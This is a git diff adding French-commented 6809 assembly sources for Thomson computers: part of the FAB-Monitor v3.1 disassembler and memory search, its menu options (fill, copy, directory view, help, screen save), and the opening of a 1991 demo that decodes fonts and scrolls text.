+ASS4 JSR FNCKIZ
+ BEQ ASSUIV
+ENDASS CMPB #2 touche Stop = QUIT
+ BNE ASSUIV+3
+ LDU #OPDESA-4 adresse courante
+ TFR Y,D du désa devient la
+ JSR ATOHEX valeur par défaut
+ TFR B,A
+ JSR ATOHEX
+ CLRA code retour=OK
+ RTS
+
+* A: numéro de la bank à parcourir
+SEARCH STA $E7E5
+ LDU #LINE
+ LDD #$423A début ligne "B: "
+ STD ,U++
+ LDB #32
+ STB ,U+
+ LDA $E7E5
+ JSR ATOHEX affiche la bank
+ LDA #27
+ STB ,U+ ligne vide...
+ DECA
+ BNE *-3 ...jusqu'à la
+ LDD #$6000 début de zone
+ PSHS D
+ JSR ATOHEX "6000 "
+ TFR B,A ..dernière colonne
+ JSR ATOHEX
+ LDD #$2020
+ STD ,U++
+ STD ,U
+ JSR DISLIN affiche première
+ LDU <CURSOR ligne et revient
+ LEAU -315,U au milieu de
+ STU <CURSOR celle-ci
+ LDA #5
+ STA <XPOS
+ LDU #SRWORD chaîne à trouver
+ LDB ,U+ longueur de chaîne
+ PULS X retrouve $6000=déb
+SRMEMO LDA $E7C8 clavier relâché ?
+ BEQ SRCONT
+ PSHS B
+ JSR GETC
+ CMPB #2 touche STOP
+ BNE *+6
+ LEAS 1,S
+ BRA SREND
+ CMPB #3 touche SHIFT+STOP
+ PULS B longueur > 0
+ BEQ SREND+1
+SRCONT LDA ,X+
+ CMPA ,U
+ BEQ CMPNXT
+SEARET CMPX #$E000
+ BNE SRMEMO
+SREND CLRB code "pas CNT-C"
+ PSHS X
+ LDX <CURSOR fin de recherche
+ LDA <XPOS
+ LEAX 1,X on va en bout de
+ INCA ligne
+ CMPA #36
+ BNE *-5
+ STA <XPOS et
+ STX <CURSOR
+ PULS A affiche "E000"
+ JSR DA2HEX
+ PULS A
+ JSR DA2HEX
+ LDA $E7E5
+ TSTB code CNT-C ou pas
+ RTS
+CMPNXT LEAY ,X
+ LEAU 1,U
+ DECB longueur chaîne
+ BEQ SRFUND
+ LDA ,X+
+ CMPA ,U+
+ BEQ *-8
+ LEAX ,Y
+ LDU #SRWORD
+ LDB ,U+
+ BRA SEARET
+SRFUND LDA <XPOS on a trouvé le mot
+ CMPA #30 fin de ligne ?
+ BLO SRDADR
+ PSHS X
+ LDA #39
+ STA <XPOS
+ LDX <CURSOR nouvelle ligne
+ LEAX 9,X
+ STX <CURSOR
+ LDD #$2920 remplie d'espaces
+ JSR PUTC
+ DECA
+ BNE *-4
+ LDX <CURSOR
+ LEAX -315,X on se place au
+ STX <CURSOR milieu de la ligne
+ LDA #5
+ STA <XPOS
+ PULS X
+SRDADR LDB #32
+ JSR PUTC
+ LDU #SRWORD
+ LDB ,U recule le pointeur
+ NEGB mémoire de la
+ SEX longueur du mot
+ LEAX D,X
+ TFR X,D et affiche cette
+ JSR DA2HEX adresse
+ TFR B,A
+ JSR DA2HEX
+ LEAX ,Y
+ LDB ,U+
+ JMP SEARET
+SRWORD FCB 1
+ FCC "SEARCHED PATTERN"
+ FDB 0,0,0,0,0,0,0,0
+
+* Y: pointe l'octet à DUMPer (DMPBYT) *
+DUMP LDU #LINE
+ LDX #LINE+30 place de l'ASCII
+ TFR Y,D
+ JSR ATOHEX affiche l'adresse
+ TFR B,A du début d'HEXDUMP
+ JSR ATOHEX
+ LDA #32
+ STA ,U+
+ LDB #8 octets traités
+HXDUMP LDA ,Y
+ JSR ATOHEX valeur en hexa
+ LDA #32
+ STA ,U+
+ LDA ,Y+
+ STA ,X+ équivalent ASCII
+ DECB
+ BNE HXDUMP
+ STY <DMPBYT
+ LDD #$2020
+ STA ,U
+ STD ,X
+ BRA DISLIN affiche la ligne
+
+* Y: pointe l'octet à décoder (CURBYT) *
+DESASS STY <FIRBYT sauve l'adresse du
+ LDU #LINE 1r oct désassemblé
+ TFR Y,D
+ JSR ATOHEX cette adresse
+ TFR B,A figurera en début
+ JSR ATOHEX de ligne
+ LDA #32
+ STA ,U+
+ JSR INSTR décode la commande
+ TSTA
+ BMI HEXDMP
+ BNE OPERAN
+ INC <ADRMOD flag "pas sauter!"
+ BRA HEXDMP
+
+OPERAN LDB #32 remplit d'espaces
+ STB ,U+ jusqu'à l'opérande
+ CMPU #LINE+11
+ BNE *-6
+ ANDA #15
+ LDX #OPECAS-2
+ JSR [A,X]
+
+HEXDMP LDB #32 remplit d'espaces
+ STB ,U+ jusqu'au hexdump
+ CMPU #LINE+30
+ BNE *-6
+ LDX <FIRBYT équivalent hexa
+ STY <CURBYT de tous les octets
+HEXEQU LDA ,X+ de l'instruction
+ JSR ATOHEX désassemblée
+ CMPX <CURBYT
+ BLO HEXEQU
+EOLASS CMPU #LINE+40 remplit d'espaces
+ BHS DISLIN de la fin du Dump
+ STB ,U+ au bout de ligne.
+ BRA EOLASS (= 40 caractères)
+DISLIN LDX #LINE affiche la ligne
+ LDA #40
+ LDB ,X+
+ JSR PUTC
+ DECA
+ BNE *-6
+ RTS
+OPECAS FDB IMMEDI,DIRECT,INDEXE
+ FDB ETENDU,RELATI,TRANSF,PILES
+
+IMMEDI LDB #'#
+ STB ,U+
+ LDA ,Y+
+ JSR ATOHEX
+ LDA <ADRMOD
+ BITA #16 opérande 8 bits ?
+ BNE *+3
+ RTS
+ LDA ,Y+
+ JMP ATOHEX
+
+DIRECT LDB #'<
+ STB ,U+
+ LDA ,Y+
+ JMP ATOHEX
+
+ETENDU LDB #'>
+ STB ,U+
+ LDA ,Y+
+ STA <OPCODE au cas où l'on
+ JSR ATOHEX
+ LDA ,Y+
+ STA <OPCODE+1 voudrait y aller
+ CLR <ADRMOD flag "peut sauter"
+ JMP ATOHEX
+
+IDX8 LDA #'- 8 bits , R
+ STA ,U
+ LDD ,Y++ on saute l'offset
+ EXG A,B
+ TSTA déplacement > 0 ?
+ BPL *+5
+ LEAU 1,U garde le signe "-"
+ NEGA et inverse déplac.
+ JSR ATOHEX
+ TFR B,A
+ BRA VIMADP virgule & registre
+IDX9 LDA ,Y+ 16 bits , R
+ PSHS A
+ LDD ,Y++ le déplacement
+ BPL IDXPOS est-il positif ?
+ STD <OPCODE
+ LDA #'- non: affiche "-"
+ STA ,U+
+ LDD #0 et inverse déplac.
+ SUBD <OPCODE
+IDXPOS JSR ATOHEX
+ TFR B,A
+ JSR ATOHEX
+ PULS A
+VIMADP LDB #', virgule & registre
+ STB ,U+
+ BRA IDXREG
+IDX11 LDA #'D D,R
+ STA ,U+
+ BRA VIRREG
+INDEXE LDA ,Y
+ BMI INDEX2 pas R+4 bits dépl.
+ BITA #16
+ BEQ *+7
+ LDB #'-
+ STB ,U+
+ NEGA
+ ANDA #31
+ CMPA #9
+ BHI *+8
+ ADDA #48
+ STA ,U+
+ BRA *+5
+ JSR ATOHEX écrit déplacament
+VIRREG LDA #',
+ STA ,U+
+PCKREG LDA ,Y+
+IDXREG ANDA #$60 décode et
+ LSRA écrit le registre
+ LSRA servant d'index
+ LSRA
+ LSRA
+ LSRA
+ LDX #IDXLRG liste de registres
+ LDA A,X
+ STA ,U+
+ RTS
+INDEX2 LDB ,Y
+ BITB #16
+ BEQ *+6
+ LDA #'[
+ STA ,U+
+ ANDB #15
+ ASLB
+ LDX #IDXCAS
+ JSR [B,X]
+ LDA LINE+11
+ CMPA #'[
+ BNE IDXCAS-1
+ LDD [DIR*256+OPCODE]
+ STD <OPCODE
+ LDA #']
+ STA ,U+
+ RTS
+IDXCAS FDB IDX0,IDX1,IDX2,IDX3,VIRREG
+ FDB IDX5,IDX6,IDXERR,IDX8,IDX9
+ FDB IDXERR,IDX11,IDX12,IDX13
+ FDB IDXERR,IDX15
+
+IDX0 BSR VIRREG ,R+
+ LDA #'+
+ STA ,U+
+ RTS
+IDX1 BSR VIRREG ,R++
+ LDD #$2B2B
+ STD ,U++
+ RTS
+IDX2 LDD #$2C2D ,-R
+ STD ,U++
+ BRA PCKREG
+IDX3 LDD #$2C2D ,--R
+ STD ,U++
+ STB ,U+
+ BRA PCKREG
+IDX5 LDA #'B B,R
+ STA ,U+
+ BRA VIRREG
+IDX6 LDA #'A A,R
+ STA ,U+
+ JMP VIRREG
+IDX12 LDD ,Y++ 8 bits , PCR
+ SEX
+IDXPCR LEAX D,Y
+ TFR X,D
+ STD <OPCODE si on veut y aller
+ CLR <ADRMOD flag "peut sauter"
+ JSR ATOHEX
+ TFR B,A
+ JSR ATOHEX
+ LDD #$2C50
+ STD ,U++
+ LDD #$4352
+ STD ,U++
+ RTS
+IDX13 LDA ,Y+ 16 bits , PCR
+ LDD ,Y++
+ BRA IDXPCR
+IDX15 LDA ,Y
+ BITA #16
+ BEQ IDXERR
+ LEAY 1,Y
+ LDA ,Y+
+ STA <OPCODE au cas où l'on
+ JSR ATOHEX
+ LDA ,Y+
+ STA <OPCODE+1 voudrait y aller
+ CLR <ADRMOD flag "peut sauter"
+ JMP ATOHEX
+IDXERR LDD #$3F3F
+ STD ,U++
+ RTS
+IDXLRG FCC "XYUS"
+
+RELATI LDA <ADRMOD
+ BITA #16 déplacement 8bits?
+ BNE RLWORD
+ LDB ,Y+
+ SEX
+ BRA *+4
+RLWORD LDD ,Y++
+ LEAX D,Y l'adresse pointée
+ STX <OPCODE au cas où l'on
+ LDA <OPCODE voudrait y aller
+ JSR ATOHEX
+ LDA <OPCODE+1
+ CLR <ADRMOD flag "peut sauter"
+ JMP ATOHEX
+
+TRANSF LDB ,Y
+ ANDB #$F0
+ LDX #TFXREG
+ LSRB 4bits poids fort
+ LSRB =reg "source"
+ LSRB
+ LDD B,X texte registre 1
+ CMPA #32
+ BEQ *+4
+ STA ,U+
+ STB ,U+
+ LDB #', la virgule sépare
+ STB ,U+
+ LDB ,Y+ 4bits poids faible
+ ANDB #15 =reg "destination"
+ ASLB
+ LDD B,X texte registre 2
+ CMPA #32
+ BEQ *+4
+ STA ,U+
+ STB ,U+
+ RTS
+
+TFXREG FCC " D X Y U SPC ? ? A BCCDP"
+ FCC " ? ? ? ?"
+
+PILES LDB #'S pile non utilisée
+ LDA <OPCODE+1
+ CMPA #$35
+ BHI *+4
+ LDB #'U
+ STB PILREG+3
+ LDB ,Y+
+ BITA #1 empile-t-on ?
+ BNE DEPILE-5
+ LDX #PILREG liste de registres
+ LDA #8 registres à tester
+EMPILE ASLB
+ BCC *+4
+ BSR REGSEL valide registre
+ LEAX 2,X
+ DECA
+ BNE EMPILE
+ENDPIL LDA #32 efface la dernière
+ STA ,-U virgule
+ RTS
+ LDX #PILREG+14
+ LDA #8
+DEPILE ASRB
+ BCC *+4
+ BSR REGSEL
+ LEAX -2,X
+ DECA
+ BNE DEPILE
+ BRA ENDPIL
+REGSEL PSHS D ce registre est
+ LDD ,X sélectionné
+ CMPA #32
+ BEQ *+4
+ STA ,U+ on copie son nom
+ STB ,U+
+ LDA #',
+ STA ,U+
+ PULS D,PC
+PILREG FCC "PC U Y XDP B ACC"
+
+
+INSTR LDB ,Y+ décode instruction
+ CMPB #$10 et renvoie le code
+ BNE INSTR2 opérande dans A.
+ STB <OPCODE opcode complexe 10
+ LDX #MNEMO2
+ BRA CMPLEX
+INSTR2 CMPB #$11
+ BNE INSTR3
+ STB <OPCODE opcode complexe 11
+ LDX #MNEMO3
+CMPLEX LDB ,Y+
+ BSR FNDCOD
+ BPL *+4
+ LEAY -1,Y A=-1: code inconnu
+ RTS
+INSTR3 LDX #MNEMO1 opcode simple (1o)
+ CLR <OPCODE
+FNDCOD STB <OPCODE+1 trouve txt+infos
+FNDTXT LDD ,X++ correspondant à
+ CMPD #$3F3F l'opcode cherché.
+ BNE PAFIN1
+ STD ,U++ code inconnu (??)
+ LDA #-1
+ RTS
+PAFIN1 CMPA <OPCODE+1 trouvé l'opcode?
+ BNE FNDTXT
+ CMPB #$1F c'est un vrai ?
+ BHI FNDTXT non:c'est du texte
+ STB <ADRMOD
+ LDD ,X++ on saute les
+ CMPB #$1F autres adressages
+ BLO *-4 de la Mnémonique.
+ LEAX -2,X
+ LDD ,X++ copie du texte
+ STD ,U++
+ LDD ,X++
+ STD ,U++
+ LDA <OPCODE+1
+ CMPA #$1C l'exception: ANDCC
+ BNE *+4
+ STB ,U+
+ LDA <ADRMOD
+ RTS
diff --git a/code/3rdparty/sources2-hcl/OPTIONS2.ASM b/code/3rdparty/sources2-hcl/OPTIONS2.ASM
new file mode 100644
index 0000000..34c7c0d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/OPTIONS2.ASM
@@ -0,0 +1,603 @@
+SIDTXT * choisit quelle face du disque
+ FCC "SIDE @"
+ FCB 0
+OPSIDE LDA <DKDRV choisit la face
+ ADDA #'0
+ STA ,U
+ LDX #CHKBOL
+ STX <INPCHK
+ LDX #VALASC
+ STX <INPVAL
+ LDA #1
+ JSR INPUT choix de la face
+ JSR IPIHEX
+ BEQ EOPSID
+ LDB ,U
+ SUBB #'0
+ STB <DKDRV
+ CLRA
+EOPSID JMP HWINDW
+
+FILTXT * option: remplit zone mémoire
+ FCC "FILL $@"
+ FDB 0,0
+ FCC " TO $"
+ FDB 0,0
+ FCC ">PATTERN $"
+ FDB 0,0,0,0,0,0,0,0
+OPFILL LDA #4
+ LEAY 4,U
+ JSR INPUT lit adresse début
+ BEQ EOPFIL
+ STU <FILBEG
+ LDA #4
+ JSR DIPUT2 lit adresse de fin
+ BEQ EOPFIL
+ STU <FILEND
+ JSR CLRBAR
+ LDX #CHKSOP
+ STX <INPCHK
+ LDX #VALSOP
+ STX <INPVAL
+ LDA #16 16 digits maximum
+ JSR DIPUT2 motif remplissage
+ TSTB chaîne " ?
+ BEQ *+3
+ LSRA
+ JSR IPIHEX
+ BEQ EOPFIL
+ CLR <CLIGNO
+ LDB #32 efface le curseur
+ JSR PUTC
+ LDX <FILEND
+ LEAY ,U
+ LDB ,U
+ CMPA #1
+ BEQ SIGPAT
+ STX >SPIDF1+1 motif long
+ LDX <FILBEG
+ CMPX <FILEND
+ BEQ EOPFIL-2
+ STA <FILBEG
+HUGPAT LDB ,U+
+ STB ,X+
+ DECA
+ BNE *+6
+ LEAU ,Y
+ LDA <FILBEG
+SPIDF1 CMPX #0
+ BNE HUGPAT
+ LDB ,U
+ BRA EOPFIL-2
+
+SIGPAT STX >SPIDF2+1 motif à 1 octet
+ LDX <FILBEG
+ CMPX <FILEND
+ BEQ EOPFIL-2 on remplit la
+FILL STB ,X+ zone avec l'octet
+SPIDF2 CMPX #0 spécifié...
+ BNE FILL
+ STB ,X
+EOPFIL CLRA
+ JMP HWINDW
+
+COPTXT * option: copie une zone mémoire
+ FCC "COPY $@"
+ FDB 0,0
+ FCC " - $"
+ FDB 0,0
+ FCC " TO $"
+ FDB 0,0
+OPCOPY LDA #4
+ LEAY 4,U
+ JSR INPUT lit adresse début
+ BEQ EOPCOP zone source
+ STU <COPBEG
+ LDA #4
+ JSR DIPUT2 lit adresse de fin
+ BEQ EOPCOP zone source
+ STU <COPEND
+ LDA #4
+ JSR DIPUT2 lit adresse début
+ BEQ EOPCOP zone destination
+ CLR <CLIGNO
+ LDB #32 efface le curseur
+ JSR PUTC
+ CMPU <COPBEG
+ BLS ASCECP mode ascending
+ LDX <COPEND mode descending
+ LDD <COPEND
+ SUBD <COPBEG longueur zone - 1
+ BEQ EOPCOP-4
+ LEAU D,U
+ LEAX 1,X
+ LEAU 1,U
+ LDD <COPBEG
+ STD SPIDC1+1
+ LDB ,-X
+ STB ,-U
+SPIDC1 CMPX #0
+ BNE *-7
+ CLRA
+ JMP HWINDW
+
+ASCECP LDD <COPEND copie en mode
+ STD >SPIDC2+1 ascending
+ LDX <COPBEG
+ CMPX <COPEND
+ BEQ EOPCOP-4
+ LDB ,X+ copie de la zone
+ STB ,U+ source vers la
+SPIDC2 CMPX #0 zone destination
+ BNE *-7
+ LDB ,X
+ STB ,U
+EOPCOP CLRA
+ JMP HWINDW
+
+ABOTXT * option: au sujet de FAB-Mon
+ FCC "ABOUT@"
+ FCC " "
+ FCC " FAB-Monitor v3.1 "
+ FCC " Copyright (c) 1992 by "
+ FCC " Laurent Hiriart "
+ FCC " "
+ FCC " Published by A.S.C.I. "
+ FCC "365, Chemin des montants"
+ FCC " 54690 EULMONT "
+ FCC " "
+ FCC "Comments,suggestions and"
+ FCC "bug reports are welcome."
+ FCC " "
+OPABOU CLRA
+ JSR GETC
+ CMPB #2 touche Stop ?
+ LBEQ HWINDW
+ CMPB #13 touche Entrée ?
+ BNE OPABOU+1
+ JSR HWINDW
+ LDA #12 lignes à afficher
+ STA <CMPT
+OPABOD LDA #5 marge à gauche
+ LDB #32
+ JSR PUTC
+ DECA
+ BNE *-4
+ LDA #24 affiche une ligne
+ LDB ,U+ de texte
+ JSR PUTC
+ DECA
+ BNE *-6
+ LDA #11 tabulation droite
+ LDB #32
+ JSR PUTC
+ DECA
+ BNE *-4
+ DEC <CMPT
+ BNE OPABOD
+ RTS
+
+VIWTXT * option: affiche le répertoire
+ FCC "VIEW@"
+VIWLIN FCC " 0:DiskName F:"
+ FCC "316 O: 0 R: 4 "
+OPVIEW CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPVIEW+1
+ JSR HWINDW
+ LDY #VIWLIN+3
+ LDB <DKDRV
+ ADDB #'0
+ STB ,Y++
+ CLR <DKOPC opération READ
+ LDX #IOZONE
+ STX <DKBUF
+ LDD #$1401
+ STD <DKTRK
+ JSR DISK
+ LDB #8
+ LDA ,X+ copie du nom de la
+ STA ,Y+ disquette
+ DECB
+ BNE *-5
+ INC <DKSEC
+ LDX #FAT
+ STX <DKBUF
+ JSR DISK charge la FAT
+ LEAX 1,X et l'analyse
+ STB <CMPT
+DSKF LDA ,X+
+ CMPA #$FF bloc libre ?
+ BNE *+3
+ INCB FREE++
+ CMPA #$FE
+ BNE *+4
+ INC <CMPT RESERVED++
+ CMPX #FAT+161
+ BLO DSKF
+ STB <VIWTMP
+ LEAU 7,Y Nb(Ko)=2*Nb(Blocs)
+ JSR BB2DEC FREE
+ LEAU 4,U
+ LDB #160
+ SUBB <VIWTMP blocs libres
+ SUBB <CMPT "" réservés
+ JSR BB2DEC OCCUPIED
+ LEAU 4,U
+ LDB <CMPT
+ JSR BB2DEC RESERVED
+ LDX #VIWLIN affiche le header
+ JSR DISLIN+3 du catalogue
+ LDU #LINE
+ LDD #$2820 efface la zone
+ STB ,U+ qui va servir aux
+ DECA lignes de fichiers
+ BNE *-3
+ LDY #VFITYP
+ LDX #CATALG
+ STX <DKBUF
+ LDD #$317
+ STB <CMPT
+VIWDIR STA <DKSEC
+ JSR DISK charge directory
+ LDX #CATALG
+DIRAFF LDB ,X
+ BEQ VESCAT oui:stop recherche
+ CMPB #$FF fin du catalogue
+ BEQ EOPVIW
+ BSR VAFFIL
+ BEQ EOPVIW DIR interrompu
+VESCAT LEAX 32,X
+ CMPX #CATALG+256
+ BLO DIRAFF
+ INCA
+ CMPA #17
+ BLO VIWDIR
+EOPVIW CLRA
+ RTS
+
+VAFFIL PSHS X,A
+ CLRA
+ STA <VIWTMP
+ STA <FILEN
+ DECA
+ LDB 13,X 1er bloc ds la FAT
+ LDX #FAT+1
+ ABX
+ INC <FILEN nbre blocs ++
+ LDB ,X
+ STA ,X code=-1
+ CMPB #$A0
+ BLO *-12 détruit chaînage
+ SUBB #$C1
+ CMPB #8
+ BLO *+7
+ LDA #9 Bad File Structure
+ JMP ERROR
+ LDX 1,S retrouve pointeur
+ STB <VIWTMP+1
+ LDA <FILEN nombre de blocs
+ DECA
+ LDB #8
+ MUL
+ ADDD <VIWTMP calcule la taille
+ STD <VIWTMP précise,en octets
+ LDA #255
+ MUL T=255*((Nblocks-1)
+ STD <VWTMP2 *8+(Nsecteurs dans
+ LDA <VIWTMP dernier block)-1)+
+ LDB #255 Noctets dans le
+ MUL dernier secteur.
+ ADDB <VWTMP2
+ BCC *+3
+ INCA
+ STD <VIWTMP+1
+ LDD 14,X octets utilisés ds
+ ADDD <VWTMP2 le dernier secteur
+ BCC *+4
+ INC <VIWTMP+1
+ STB <VWTMP2+1
+ LDB <VIWTMP+1
+ ADDB #'0
+ LDU #LINE
+ STB ,U+
+ JSR ATOHEX affiche la taille
+ LDA <VWTMP2+1
+ JSR ATOHEX précise,en octets
+ LDA #8
+ LEAU 1,U
+ LDB ,X+
+ STB ,U+ copie du nom
+ DECA
+ BNE *-5
+ LDA #3
+ LEAU 1,U
+ LDB ,X+
+ STB ,U+ copie du suffixe
+ DECA
+ BNE *-5
+ LDD ,X
+ STD <VIWTMP
+ LDA #8 copie commentaire
+ LEAU 4,U
+ LEAX 5,X
+ LDB ,X+
+ BNE *+4
+ LDB #32 -> espace si $00
+ STB ,U+
+ DECA
+ BNE *-9
+ LEAU 1,U
+ LDB <FILEN
+ JSR BB2DEC longueur 2*Nblocks
+ LEAU 1,U
+ LDB #'?
+ LDA <VIWTMP
+ CMPA #3
+ BHI *+4
+ LDB A,Y
+ STB ,U++ type du fichier
+ LDB #'B
+ LDA <VIWTMP+1
+ BEQ *+4
+ LDB #'A
+ STB ,U Sémaphore Asc/Bin
+ JSR DISLIN
+ JSR GETC
+ CMPB #2
+ BEQ VFITYP-2 DIR interrompu
+ DEC <CMPT
+ BNE VFITYP-2
+ JSR GETC
+ BCC *-3
+ CMPB #2
+ BEQ VFITYP-2
+ LDA #24
+ STA <CMPT
+ PULS A,X,PC
+VFITYP FCC "BDMA"
+
+HLPTXT * option: affiche les commandes
+ FCC "HELP@"
+ FCC " T TRANSFER ROM "
+ FCC " "
+OPHELP CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPHELP+1
+ JSR HWINDW
+ LDY #OPTION
+ LDA #24
+ STA <CMPT
+
+HLPDSP LDU #OPHELP-40+7
+ LDB ,Y+
+ CMPB #13
+ BNE HLPART
+ LDA #'E copie ENT
+ STA -5,U
+ LDD #$4E54
+ BRA HLPJN1
+HLPART CMPB #12
+ BNE HLPNOR
+ LDA #'R copie RAZ
+ STA -5,U
+ LDD #$415A
+ BRA HLPJN1
+HLPNOR LDA #32
+ STA -5,U
+HLPJN1 STD -4,U
+ LDX ,Y
+ LDB ,X+
+ CMPB #'@
+ BEQ *+6
+ STB ,U+
+ BRA *-8
+ LDA -1,U
+ CMPA #32
+ BEQ *+8
+ CMPA #'$
+ BNE *+6
+ LEAU -1,U
+ LEAU -1,U
+ LDB #32
+ STB ,U+
+ CMPU #OPHELP-9
+ BLO *-6
+ LDU #OPHELP-40
+ LDA #40
+ LDB ,U+
+ JSR PUTC
+ DECA
+ BNE *-6
+ DEC <CMPT
+ BNE HLPGON
+ JSR GETC
+ BEQ *-3
+ CMPB #2
+ BEQ EOHELP
+HLPGON LEAY 4,Y
+ CMPY #ENDOPT
+ BNE HLPDSP
+EOHELP CLRA
+ RTS
+
+IMATXT * option: sauvegarde d'écran PPM
+ FCC "IMAGE @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "AP ; "
+ FCB 0
+ FCC "omments"
+OPIMAG JSR FILRQT saisie du nom
+ BEQ *+5
+ JSR COMRQT saisie commentaire
+ JSR IPIHEX
+ JSR HWINDW
+ LBEQ EOPIMA
+ LDX #NULL
+ JSR SETPAL palettes en noir
+ LDA $E7E5
+ STA <IMABNK
+ LDD <CODCDD+1 mode d'affichage
+ STA $E7DC
+ CLRA
+ ASLB
+ ROLA
+ ASLB
+ ROLA
+ BNE *+5
+ LDA >ZZZBK1+1
+ STA $E7E5
+ DEC $E7C3
+ JSR BNK2VW copie l'écran
+ LDX #COLORS+32
+ JSR SETPAL
+
+ LDA #39 largeur - 1
+ LDB $605F
+ ANDB #$C0
+ STB <IS4080
+ BEQ *+4
+ ADDA #40
+ LDY #$A000 adresse début code
+ STY <BEGADR
+ STB ,Y+ code colonnes
+ LDB #$18 taille de l'écran
+ STD ,Y++
+ BSR PLANE
+ LDA <IS4080
+ BNE FINCOD
+ DEC $E7C3
+ BSR PLANE
+
+FINCOD TFR Y,D
+ ANDB #1 alignement sur une
+ BEQ *+4 adresse paire
+ CLR ,Y+
+ LDX #COLORS+64
+KOPIPA LDD ,--X
+ BITA #$10
+ BEQ *+5
+ ADDD #1
+ ANDA #15
+ STD ,Y++
+ CMPX #COLORS+32
+ BNE KOPIPA
+ CLRA
+ LDB <CODCDD
+ STD ,Y++
+ LDD #$484C
+ STD ,Y++
+ LEAX -$A000,Y
+ STX <FILSIZ
+ LDD #0
+ STD <EXEADR
+ LDA #12 Picture Too Large
+ CMPX #$4000
+ LBHI ERROR
+ LDD #$200 FILE/DATA types
+ STD <FILETY
+ JSR SAVEM
+
+ LDX #NULL
+ JSR SETPAL
+ CLR $E7DC
+ LDA $E7C3
+ ANDA #254
+ STA $E7C3
+ JSR VW2BNK
+ LDA <IMABNK
+ STA $E7E5
+ JSR FABSCR
+EOPIMA CLRA
+ RTS
+
+
+PLANE LDU #$4000 compacte un plan
+ STU <HIGADR
+ LDD #$28C8 40 cols / 200 ligs
+ TST <IS4080
+ BEQ *+4
+ ADDA #40
+ STD <CMPTLH
+GROUP CLRA nombre occurences
+ LDB ,U
+ BSR SEGBAS segment courant et
+ BNE SINGLE + bas identiques ?
+
+
+MMSEG BSR NXLINE
+ INCA
+ CMPA #$FF
+ BEQ EOLIST
+ CMPB ,U
+ BNE EOLIST
+ TST <CMPTLH
+ BNE MMSEG
+EOLIST STD ,Y++
+ BRA NGROUP
+
+SINGLE STA ,Y++
+ PSHS Y
+ALLDIF BSR NXLINE
+ STB ,Y+
+ INCA
+ CMPA #$FF
+ BEQ EOSING
+ LDB ,U
+ BSR SEGBAS
+ BEQ EOSING
+ TST <CMPTLH
+ BNE ALLDIF
+EOSING PULS X
+ STA -1,X
+
+
+NGROUP LDA <CMPTLH
+ BNE GROUP
+ CLRA
+ CLRB
+ STD ,Y++
+ RTS
+
+SEGBAS PSHS B,A
+ LDB 40,U
+ LDA <CMPTLH+1
+ DECA
+ BNE CMPSGB
+ BSR NXTCOL fin de la ligne
+ LDB ,X
+ BSR NXCOL2
+CMPSGB CMPB 1,S
+ PULS A,B,PC
+
+NXLINE LEAU 40,U
+ DEC <CMPTLH+1 1ligne de moins
+ BNE EONXLN
+
+ PSHS A
+ DEC <CMPTLH 1colonne de moins
+ LDA #200
+ STA <CMPTLH+1
+ BSR NXTCOL
+ STX <HIGADR
+ LEAU ,X
+ PULS A,PC
+
+NXTCOL LDX <HIGADR
+NXCOL2 LDA <IS4080
+ BEQ INCCOL
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+ LSRA
+ BHS EONXLN
+INCCOL LEAX 1,X
+EONXLN RTS
diff --git a/code/3rdparty/sources2-hcl/PART1.ASM b/code/3rdparty/sources2-hcl/PART1.ASM
new file mode 100644
index 0000000..596efac
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PART1.ASM
@@ -0,0 +1,592 @@
+****************************************
+* *
+* FORUM THOMSON 91 : PART 1 *
+* *
+****************************************
+
+CODE EQU $9800 implantation prog.
+MAP EQU $A000 image CHR fixes
+FONTS EQU $8800 dessin des lettres
+TEXTE EQU $8B80 délire méga-Lô...
+COMPTS EQU $9F04 compteurs (visu)
+FNTBNK EQU 10 bank des CHR fixes
+DIR EQU $9F accès direct au
+Z EQU 0 buffer variables
+ZZ EQU DIR*256+Z idem en étendu
+HAUT EQU 256 taille totale (Y)
+BLKHIG EQU 16 hauteur d'un bloc
+TAILLE EQU HAUT/BLKHIG
+
+
+ ORG CODE
+G ORCC #80
+ LDA $E7E6
+ PSHS A,DP
+ LDD #32 palettes en noir
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ LDA #$7B
+ STA $E7DC
+ CLR $E7DD
+ LDX #MAP décompacte fontes
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ INCB
+ STB $E7E5
+ LDD #$100
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+
+ LDA #$60+FNTBNK traite fontes
+ STA $E7E6 lettre par lettre
+ CLR $E7E5
+ LDY #0
+ LDX #$A001
+ LDD #$500+DIR
+ TFR B,DP
+ STA <Z 5 rangées
+ LDB #8
+ STB <Z+1 8 lettres / rangée
+ LDA #37 37 lignes / lettre
+ STA <Z+2
+LETTRE LDA -1,X 5*2 octets / ligne
+ STA ,Y+
+ LDD ,X
+ STD ,Y++
+ LDD 2,X
+ STD ,Y++
+ LDA $1FFF,X
+ STA ,Y+
+ LDD $2000,X
+ STD ,Y++
+ LDD $2002,X
+ STD ,Y++
+ LEAX 40,X
+ DEC <Z+2
+ BNE LETTRE
+ LEAX -37*40+5,X
+ DEC <Z+1
+ BNE LETTRE-4
+ LEAX 37*40,X
+ DEC <Z
+ BNE LETTRE-8
+
+ CLR $E7E5 début des choses
+ JSR CLRSCR sérieuses...
+ LDB #$E7
+ TFR B,DP
+ LDD #$40A
+ STD ZZ
+ CLR ZZ+3
+ LDY #TEXTE où dans le scroll
+ LDU #FONTS caractère courant
+RSTART LDA #BLKHIG
+ STA <$E5 sert de compteur
+ JSR SYNCRO
+
+GOON LDX #0
+ JSR VISU
+ LDB #BLKHIG
+ STB <$E5 l'horreur totale !
+ DEC ZZ
+ BEQ NEXLIG
+
+ LDX #314 même écran, décalé
+ LEAX -1,X
+ BNE *-2
+ JMP JOIN
+
+NEXLIG LDA #4
+ STA ZZ
+ ABX
+
+ LDB #TAILLE
+ LDX #VISU+15
+ LDA EXCEPT
+ SUBA #32
+ STA EXCEPT
+SCROL LDA -10,X
+ STA -12,X
+ LDA -8,X
+ STA -10,X
+ LDA -6,X
+ STA -8,X
+ LDA -4,X
+ STA -6,X
+ LDA -2,X
+ STA -4,X
+ LDA ,X
+ STA -2,X
+ LDA 2,X
+ STA ,X
